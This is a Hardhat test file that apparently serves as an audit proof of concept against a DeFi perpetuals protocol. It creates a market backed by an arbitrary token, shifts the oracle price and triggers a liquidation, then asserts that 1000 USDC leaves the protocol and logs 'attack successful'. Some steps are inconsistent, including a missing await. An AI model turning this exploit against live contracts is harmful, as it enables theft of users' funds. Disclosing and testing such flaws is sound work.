describe('Liquidate', () => {
let instanceVars: InstanceVars
beforeEach(async () => {
instanceVars = await loadFixture(deployProtocol)
await instanceVars.chainlink.reset()
})
it('liquidates a user', async () => {
const POSITION = parse6decimal('10')
const COLLATERAL = parse6decimal('1000')
const { user, userB, userC, dsu, usdc, chainlink, marketFactory, rewardToken } = instanceVars
const multiInvoker = await createInvoker(instanceVars)
// The `createMarketWithRandomToken` is a helper function which creates a market that uses `rewardToken` as its underlying token
const market = await createMarketWithRandomToken(instanceVars)
console.log("user's USDC balance: ", (await usdc.balanceOf(user.address)))
// approve market to spend invoker's dsu
await multiInvoker
.connect(user)
.invoke([{ action: 8, args: utils.defaultAbiCoder.encode(['address'], [market.address]) }])
await rewardToken.connect(user).approve(multiInvoker.address, COLLATERAL.mul(1e12))
// await dsu.connect(user).approve(multiInvoker.address, COLLATERAL.mul(1e12))
console.log("user opens a maker position in the market")
market.connect(user).update(user.address, POSITION, 0, 0, COLLATERAL, false)
// Settle the market with a new oracle version
await chainlink.nextWithPriceModification(price => price.mul(1.1))
const userBUSDCBalance = await usdc.balanceOf(userB.address)
await expect(multiInvoker.connect(user).invoke(buildLiquidateUser({ market: market.address, user: user.address })))
.to.emit(market, 'Updated')
.withArgs(user.address, TIMESTAMP_2, 0, 0, 0, '-1000000000', true)
console.log("user liquidates the position")
console.log("user's USDC balance: ", (await usdc.balanceOf(user.address)))
expect((await market.locals(user.address)).protection).to.eq(TIMESTAMP_2)
expect((await market.locals(user.address)).collateral).to.equal('-1000000')
expect((await usdc.balanceOf(userB.address)).sub(userBUSDCBalance)).to.equal(parse6decimal('1000'))
console.log("attack successful");
})
})